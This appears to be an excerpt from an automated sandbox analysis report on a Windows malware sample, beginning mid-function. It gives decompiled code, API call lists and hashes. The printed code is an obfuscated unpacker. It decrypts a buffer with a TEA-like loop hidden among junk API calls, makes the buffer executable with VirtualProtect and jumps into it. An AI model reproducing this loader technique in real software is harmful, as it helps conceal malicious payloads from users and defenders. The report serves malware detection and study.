				_t7 = GetModuleHandleA("kernel32.dll");
				 *0x5183c4 = _t7;
				 *0x5151cc = GetProcAddress(_t7, "LocalAlloc");
				E004012CE(); // executed
				E004012E2(_t39); // executed
				_t42 = 0;
				L3:
				L3:
				if(_t42 < 0x50a28) {
					_push(_v12.y);
					RealChildWindowFromPoint(0, _v12);
				}
				if(_t42 > 0x1ee9e70e) {
					goto L9;
				}
				_t42 = _t42 + 1;
				_t30 = _t42;
				asm("cdq");
				_t54 = _t40 - 0x41;
				if(_t54 < 0 || _t54 <= 0 && _t30 < 0x8dd09611) {
					goto L3;
				}
				L9:
				 *0x523400 =  *0x4a09dc;
				E00401293(_t39);
				_t43 = 0;
				if( *0x5233fc > 0) {
					do {
						if( *0x5233fc == 0x44) {
							WriteConsoleW(0, 0, 0, 0, 0);
							GetCommandLineW();
						}
						_t43 = _t43 + 1;
					} while (_t43 <  *0x5233fc);
				}
				_t44 = 0;
				do {
					if( *0x5233fc + _t44 == 0x5e) {
						LocalSize(0);
						GetFileAttributesW(0);
					}
					_t44 = _t44 + 1;
				} while (_t44 < 0x40c893);
				E0040122C();
				_t16 = 0;
				do {
					if(_t16 == 0x5604) {
						 *0x5151c8 =  *0x5151c8;
					}
					_t16 = _t16 + 1;
				} while (_t16 < 0x89b2159a);
				_t38 = 0x7b;
				do {
					if( *0x5233fc == 0x89) {
						RemoveDirectoryW(L"gadahupizoriyegatagi");
						_v32.Internal = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						WriteFileGather(0, 0, 0, 0,  &_v32);
						DeregisterEventSource(0);
						CancelDeviceWakeupRequest(0);
						CloseEventLog(0);
						GetCharWidthFloatW(0, 0, 0, 0);
					}
					_t38 = _t38 - 1;
				} while (_t38 != 0);
				return  *0x5151c8();
			}

0x00401337
0x00401341
0x0040134c
0x00401350
0x00401357
0x0040135c
0x0040135d
0x0040135e
0x0040135f
0x00401364
0x00401365
0x0040136d
0x0040136e
0x0040136f
0x00401370
0x00401375
0x00401378
0x00401382
0x0040138e
0x00401399
0x0040139e
0x004013a3
0x004013a8
0x00000000
0x004013aa
0x004013b0
0x004013b2
0x004013b9
0x004013b9
0x004013c5
0x00000000
0x00000000
0x004013c7
0x004013c8
0x004013ca
0x004013cb
0x004013ce
0x00000000
0x00000000
0x004013d9
0x004013de
0x004013e3
0x004013e8
0x004013f0
0x004013f2
0x004013f9
0x00401400
0x00401406
0x00401406
0x0040140c
0x0040140d
0x004013f2
0x00401415
0x00401417
0x00401421
0x00401424
0x0040142b
0x0040142b
0x00401431
0x00401432
0x0040143a
0x0040143f
0x00401441
0x00401446
0x00401448
0x00401448
0x00401452
0x00401453
0x0040145c
0x0040145d
0x00401467
0x0040146e
0x00401476
0x0040147c
0x0040147d
0x0040147e
0x0040147f
0x00401488
0x0040148f
0x00401496
0x0040149d
0x004014a7
0x004014a7
0x004014ad
0x004014ad
0x004014ba

APIs

WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00401350
_malloc.LIBCMT ref: 00401357

Part of subcall function 0040154F: __FF_MSGBANNER.LIBCMT ref: 00401572
Part of subcall function 0040154F: __NMSG_WRITE.LIBCMT ref: 00401579
Part of subcall function 0040154F: RtlAllocateHeap.NTDLL(00000000,?,?,?,00000000,?,0040135C,00000000), ref: 004015C6

_realloc.LIBCMT ref: 0040135F

Part of subcall function 00401824: _malloc.LIBCMT ref: 0040183A

_ftell.LIBCMT ref: 00401365
_fseek.LIBCMT ref: 00401370
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401382
GetProcAddress.KERNEL32(00000000,LocalAlloc), ref: 00401393
RealChildWindowFromPoint.USER32(00000000,?,?), ref: 004013B9
WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00401400
GetCommandLineW.KERNEL32 ref: 00401406
LocalSize.KERNEL32 ref: 00401424
GetFileAttributesW.KERNEL32(00000000), ref: 0040142B
RemoveDirectoryW.KERNEL32(gadahupizoriyegatagi), ref: 0040146E
WriteFileGather.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 00401488
DeregisterEventSource.ADVAPI32(00000000), ref: 0040148F
CancelDeviceWakeupRequest.KERNEL32(00000000), ref: 00401496
CloseEventLog.ADVAPI32(00000000), ref: 0040149D
GetCharWidthFloatW.GDI32(00000000,00000000,00000000,00000000), ref: 004014A7

Strings

LocalAlloc, xrefs: 00401388
kernel32.dll, xrefs: 0040137D
gadahupizoriyegatagi, xrefs: 00401469

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: EventFileWrite_malloc$AddressAllocateAttributesCancelCharChildCloseCommandConsoleDeregisterDeviceDirectoryFloatFromGatherHandleHeapLineLocalModuleObjectPointProcRealRemoveRequestSingleSizeSourceWaitWakeupWidthWindow_fseek_ftell_realloc
String ID: LocalAlloc$gadahupizoriyegatagi$kernel32.dll
API String ID: 661548273-3778794679
Opcode ID: 0107b59e09d8410639f74915269d752fbd7af035d9d3401a1eca35291701030b
Instruction ID: 8c9ea40a5775393075aeff76ca82826fd86d7abfdec7b3e7227083bce1d71ac7
Opcode Fuzzy Hash: 0107b59e09d8410639f74915269d752fbd7af035d9d3401a1eca35291701030b
Instruction Fuzzy Hash: 2F31DE32901620BBD7216BA6BD4D9AF3A68EF66355B00443BF515E11B0DB3C4606CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 004012E2, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004012E2(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;

				 *0x4bcb84 = GetProcAddress( *0x5183c4, "VirtualProtect");
				_v8 = 0x20;
				_v8 = _v8 + 0x20;
				_t8 = VirtualProtect( *0x5151c8,  *0x5233fc, _v8,  &_v12); // executed
				return _t8;
			}

0x004012f8
0x004012fd
0x00401304
0x0040131b
0x00401322

APIs

GetProcAddress.KERNEL32(VirtualProtect), ref: 004012F2
VirtualProtect.KERNELBASE(00000020,?), ref: 0040131B

Strings

VirtualProtect, xrefs: 004012E7
, xrefs: 00401304

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProcProtectVirtual
String ID: $VirtualProtect
API String ID: 3759838892-947944765
Opcode ID: 35ee6ce661b0b9e33c880db4c9a464a8deee1d8641ea6c433d7abee12a22f42f
Instruction ID: c78f1d7a504c9433a2c47bd11628595e9aa5f67f72cabb778cdcacb287879d27
Opcode Fuzzy Hash: 35ee6ce661b0b9e33c880db4c9a464a8deee1d8641ea6c433d7abee12a22f42f
Instruction Fuzzy Hash: A7E0B6B5840208FFDB15CFD0FE8AA9D7BB9EB15714B108565E50091170E7B26A14EF24

Uniqueness

Uniqueness Score: -1.00%

Function 0220F7C6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 0220F80E

Memory Dump Source

Source File: 00000001.00000002.361694686.000000000220F000.00000040.00000001.sdmp, Offset: 0220F000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 5a3a3be301a139c2ed4f431655823f4527b2f063f859098393b1da92f47fca57
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 48F0F6312503116FD7303BF4A9CCBAE76ECBF49625F600229E642D18C1DF70E8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 00402B5C, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B5C(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4a0ea4 = _t6;
				if(_t6 != 0) {
					 *0x524558 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x00402b71
0x00402b77
0x00402b7e
0x00402b85
0x00402b8b
0x00402b81
0x00402b81
0x00402b81

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00402B71

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 877e8a5ddd78c1ab44c1ebe6bd7867f6cf2135113067c4f0da188d5875027f17
Instruction ID: c558436253535b01a090417ba84307744a8fa4b3ec522e92988613059819d264
Opcode Fuzzy Hash: 877e8a5ddd78c1ab44c1ebe6bd7867f6cf2135113067c4f0da188d5875027f17
Instruction Fuzzy Hash: 42D05E726503855FDB105F747D09B233BDCD7943A6F144436B85CC6190E6B4D990D644

Uniqueness

Uniqueness Score: -1.00%

Function 0040450E, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040450E() {
				void* _t1;

				_t1 = E0040449C(0); // executed
				return _t1;
			}

0x00404510
0x00404516

APIs

__encode_pointer.LIBCMT ref: 00404510

Part of subcall function 0040449C: TlsGetValue.KERNEL32(00000000,?,00404515,00000000,00405626,004A0EE0,00000000,00000314,?,00403033,004A0EE0,Microsoft Visual C++ Runtime Library,00012010), ref: 004044AE
Part of subcall function 0040449C: TlsGetValue.KERNEL32(00000005,?,00404515,00000000,00405626,004A0EE0,00000000,00000314,?,00403033,004A0EE0,Microsoft Visual C++ Runtime Library,00012010), ref: 004044C5
Part of subcall function 0040449C: RtlEncodePointer.NTDLL(00000000,?,00404515,00000000,00405626,004A0EE0,00000000,00000314,?,00403033,004A0EE0,Microsoft Visual C++ Runtime Library,00012010), ref: 00404503

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: ec1ffbd407f6e15b7326b24eadbc5d097aa7cb4c9fd274c69c20e88cf90c70d6
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0220F485, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0220F4D6

Memory Dump Source

Source File: 00000001.00000002.361694686.000000000220F000.00000040.00000001.sdmp, Offset: 0220F000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 3358277df1a9d69a6a5ec977a103a45da09ae2d8325492fbebe14e95ffe30e51
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: DE113C79A40208EFDB11DF98CA85E99BFF5AF08350F058094F9489B362D771EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Function 004012CE, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004012CE() {
				void* _t1;

				_t1 = GlobalAlloc(0,  *0x5233fc); // executed
				 *0x5151c8 = _t1;
				return _t1;
			}

0x004012d6
0x004012dc
0x004012e1

APIs

GlobalAlloc.KERNELBASE(00000000,004013A3), ref: 004012D6

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: c753dd82ac30a5d0df80bf9c68c74b85c5b32a4b7c04bb804a41481ccb01875e
Instruction ID: 8c3648c28db7440ccb1d968937aac78da82c2db79986cc24e1a440273c757e7a
Opcode Fuzzy Hash: c753dd82ac30a5d0df80bf9c68c74b85c5b32a4b7c04bb804a41481ccb01875e
Instruction Fuzzy Hash: 29B01270481300EBC7414F50BC4A7003A70F774312F004461E50440170DB320148FB00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040102E, Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 155
filestringsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040102E(unsigned int* _a4) {
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				struct _CRITICAL_SECTION _v72;
				char _v136;
				char _v1160;
				short _v2184;
				short _v4232;
				unsigned int* _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t64;
				signed int _t72;
				unsigned int* _t87;
				unsigned int _t113;
				unsigned int _t114;

				E00407D30(0x1088);
				_t54 = _a4;
				_t114 =  *_t54;
				_t113 = _t54[1];
				if( *0x5233fc == 0x134) {
					SizeofResource(0, 0);
					WaitForSingleObject(0, 0);
					SetConsoleCP(0);
					SetEvent(0);
					EnterCriticalSection( &_v72);
					__imp__FreeUserPhysicalPages(0,  &_v32, 0);
				}
				_v12 = 0;
				if( *0x5233fc == 0x114e) {
					VerLanguageNameW(0,  &_v2184, 0);
				}
				_t55 =  *0x49fed8; // 0x476d80fe
				_v40 = _t55;
				_t56 =  *0x49fedc; // 0x81d33a33
				_v44 = _t56;
				_v32 = 0x9e3779b9;
				E00401024( &_v12);
				_v12 = _v12 + 0x22;
				if( *0x5233fc == 0xb54) {
					__imp__FindActCtxSectionStringA(0, 0, 0, "Sip muwuliruvonabeposusoxohu soliciji",  &_v136);
					lstrcpyW( &_v4232, L"wopusumolixe velitibepuwo");
					PrepareTape(0, 0, 0);
					ReadFile(0, 0, 0, 0, 0);
					__imp__FindFirstVolumeA( &_v1160, 0);
					__imp__FindNextVolumeA(0, 0, 0);
				}
				_t59 =  *0x49fee0; // 0x3c152a35
				_v48 = _t59;
				_t60 =  *0x49fee4; // 0x20a5927c
				_v36 = _t60;
				_v28 = 0x20;
				do {
					_v20 = 2;
					_v20 = _v20 + 3;
					E00401000(_t114,  &_v16);
					_v16 = _v16 + _v48;
					_t64 =  *0x5233fc;
					if(_t64 == 0xfa9) {
						 *0x5183cc = 0xedeb2e40;
					}
					if(_t64 == 0x3eb) {
						__imp__AddConsoleAliasA(0, 0, 0);
						InterlockedIncrement(0);
						 *0x5151c4 = 0;
					}
					 *0x5183c8 = 0x9150ce2e;
					_v24 = _t114 >> _v20;
					E0040102B( &_v24, _v36);
					_t72 = E0040101D(_v16, _v12 + _t114);
					_v16 = _t72;
					_t113 = _t113 - (_v24 ^ _t72);
					E00401000(_t113,  &_v16);
					_v24 = _t113 >> 5;
					E0040102B( &_v24, _v44);
					_v16 = E0040101D(_v16 + _v40, _v12 + _t113);
					E00401006( &_v16, _v24);
					_t114 = _t114 - _v16;
					 *0x4bcb80 = 0;
					_v12 = _v12 - _v32;
					_t48 =  &_v28;
					 *_t48 = _v28 - 1;
				} while ( *_t48 != 0);
				_t87 = _a4;
				_t87[1] = _t113;
				 *_t87 = _t114;
				return _t87;
			}

0x00401036
0x0040103b
0x00401040
0x0040104f
0x00401052
0x00401056
0x0040105e
0x00401065
0x0040106c
0x00401076
0x00401082
0x00401082
0x00401092
0x00401095
0x004010a0
0x004010a0
0x004010a5
0x004010aa
0x004010ad
0x004010b2
0x004010b8
0x004010bf
0x004010c4
0x004010d2
0x004010e3
0x004010f5
0x004010fe
0x00401109
0x00401117
0x00401120
0x00401120
0x00401126
0x0040112b
0x0040112e
0x00401133
0x00401136
0x0040113d
0x0040113d
0x00401144
0x0040114d
0x00401155
0x00401158
0x00401162
0x00401164
0x00401164
0x00401173
0x00401178
0x0040117f
0x00401185
0x00401185
0x00401195
0x0040119f
0x004011a5
0x004011b3
0x004011bd
0x004011c0
0x004011cc
0x004011d9
0x004011df
0x004011fd
0x00401200
0x00401205
0x00401208
0x00401211
0x00401214
0x00401214
0x00401214
0x0040121d
0x00401220
0x00401224
0x00401229

APIs

SizeofResource.KERNEL32(00000000,00000000), ref: 00401056
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0040105E
SetConsoleCP.KERNEL32(00000000), ref: 00401065
SetEvent.KERNEL32(00000000), ref: 0040106C
EnterCriticalSection.KERNEL32(?), ref: 00401076
FreeUserPhysicalPages.KERNEL32(00000000,?,00000000), ref: 00401082
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 004010A0
FindActCtxSectionStringA.KERNEL32(00000000,00000000,00000000,Sip muwuliruvonabeposusoxohu soliciji,?), ref: 004010E3
lstrcpyW.KERNEL32 ref: 004010F5
PrepareTape.KERNEL32 ref: 004010FE
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00401109
FindFirstVolumeA.KERNEL32(?,00000000), ref: 00401117
FindNextVolumeA.KERNEL32(00000000,00000000,00000000), ref: 00401120
AddConsoleAliasA.KERNEL32(00000000,00000000,00000000), ref: 00401178
InterlockedIncrement.KERNEL32(00000000), ref: 0040117F

Strings

Sip muwuliruvonabeposusoxohu soliciji, xrefs: 004010DB
, xrefs: 00401136
", xrefs: 004010C4
wopusumolixe velitibepuwo, xrefs: 004010E9

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$ConsoleSectionVolume$AliasCriticalEnterEventFileFirstFreeIncrementInterlockedLanguageNameNextObjectPagesPhysicalPrepareReadResourceSingleSizeofStringTapeUserWaitlstrcpy
String ID: $"$Sip muwuliruvonabeposusoxohu soliciji$wopusumolixe velitibepuwo
API String ID: 43302564-2845027678
Opcode ID: 311c8fe042e1549a8f4ca8da15754040dea340b6dcae34bf3ec6c88dcfe6c88f
Instruction ID: 08646927417be7ff520c7fa3c0d8ede0254f1320ca879ba3ea27918877e2510b
Opcode Fuzzy Hash: 311c8fe042e1549a8f4ca8da15754040dea340b6dcae34bf3ec6c88dcfe6c88f
Instruction Fuzzy Hash: 9A51EBB1900209AFDB10DFA5ED899AEB7B8FF18305F10447AF511E7261DB389A44CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00404F85, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00404F85(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x49f640; // 0x8831d472
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x4a14b0 = _t6;
				 *0x4a14ac = _t22;
				 *0x4a14a8 = _t25;
				 *0x4a14a4 = _t21;
				 *0x4a14a0 = _t27;
				 *0x4a149c = _t26;
				 *0x4a14c8 = ss;
				 *0x4a14bc = cs;
				 *0x4a1498 = ds;
				 *0x4a1494 = es;
				 *0x4a1490 = fs;
				 *0x4a148c = gs;
				asm("pushfd");
				_pop( *0x4a14c0);
				 *0x4a14b4 =  *_t31;
				 *0x4a14b8 = _v0;
				 *0x4a14c4 =  &_a4;
				 *0x4a1400 = 0x10001;
				_t11 =  *0x4a14b8; // 0x0
				 *0x4a13b4 = _t11;
				 *0x4a13a8 = 0xc0000409;
				 *0x4a13ac = 1;
				_t12 =  *0x49f640; // 0x8831d472
				_v812 = _t12;
				_t13 =  *0x49f644; // 0x77ce2b8d
				_v808 = _t13;
				 *0x4a13f8 = IsDebuggerPresent();
				_push(1);
				E00405BB2(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x49b9b0);
				if( *0x4a13f8 == 0) {
					_push(1);
					E00405BB2(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00404f85
0x00404f85
0x00404f85
0x00404f85
0x00404f85
0x00404f85
0x00404f85
0x00404f8b
0x00404f8d
0x00404f8d
0x00407415
0x0040741a
0x00407420
0x00407426
0x0040742c
0x00407432
0x00407438
0x0040743f
0x00407446
0x0040744d
0x00407454
0x0040745b
0x00407462
0x00407463
0x0040746c
0x00407474
0x0040747c
0x00407487
0x00407491
0x00407496
0x0040749b
0x004074a5
0x004074af
0x004074b4
0x004074ba
0x004074bf
0x004074cb
0x004074d0
0x004074d2
0x004074da
0x004074e5
0x004074f2
0x004074f4
0x004074f6
0x004074fb
0x0040750f

APIs

IsDebuggerPresent.KERNEL32 ref: 004074C5
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004074DA
UnhandledExceptionFilter.KERNEL32(0049B9B0), ref: 004074E5
GetCurrentProcess.KERNEL32(C0000409), ref: 00407501
TerminateProcess.KERNEL32(00000000), ref: 00407508

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4e8587bd651ec5d59a2d926c737b6dbb21d5cd930fd85bf5b02303ed1e124dcc
Instruction ID: 646911415bf6f18d06ff63dcbe03caf4eb0081ae590ecd26cf3788d257310c2c
Opcode Fuzzy Hash: 4e8587bd651ec5d59a2d926c737b6dbb21d5cd930fd85bf5b02303ed1e124dcc
Instruction Fuzzy Hash: 0621FDB88043159FD700DF18FD49A953FA4FB2E354F50813AE809872B1E3B459858B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00403E18, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403E18() {

				SetUnhandledExceptionFilter(E00403DD6);
				return 0;
			}

0x00403e1d
0x00403e25

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00003DD6), ref: 00403E1D

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 368b1c18c9e314e198830483f8272942e28f8a71f9c15b44827fab5cf8372534
Instruction ID: 1d486ab10c79cb52a37d9eaaf301800e07ab0718e4ec0852314bc2762395b615
Opcode Fuzzy Hash: 368b1c18c9e314e198830483f8272942e28f8a71f9c15b44827fab5cf8372534
Instruction Fuzzy Hash: EA9002B03552005686001B707D0E5063994AE59623B9144726016E4094DB6491449599

Uniqueness

Uniqueness Score: -1.00%

Function 0221071C, Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.361694686.000000000220F000.00000040.00000001.sdmp, Offset: 0220F000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: ebf1f28d1e8467cc48039af946a35034f62866efbe83d9f493d771d20b4a3310
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 8B319C3542A2469FDB15CEB0D890EF5B7B0EF57224F59859DC8C18B00AD3355187CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 0220F0A3, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.361694686.000000000220F000.00000040.00000001.sdmp, Offset: 0220F000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: c1849c1b765450c2ea478194af783b71035e6f67eb375c5a9d2dc8d8b248cd43
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 6911A0723901019FD750CE95DCC0EA673EAEB88320B198065ED08CB75BDA76EC02CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00406B0A, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00406B0A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t29;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x49d7f0);
				E00402974(__ebx, __edi, __esi);
				_t31 = E00404763(__ebx, _t35);
				_t15 =  *0x49fca0; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00401E7B(_t25, _t29, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x49fa98; // 0x711620
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x49f670;
								if(__eflags != 0) {
									_push(_t33);
									E00403BB5(_t25, _t29, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x49fa98; // 0x711620
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x49fa98; // 0x711620
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00406BA5();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00402BBC(_t29, 0x20);
				}
				return E004029B9(_t33);
			}

0x00406b0a
0x00406b0a
0x00406b0a
0x00406b0a
0x00406b0c
0x00406b11
0x00406b1b
0x00406b1d
0x00406b25
0x00406b46
0x00406b4c
0x00406b50
0x00406b53
0x00406b56
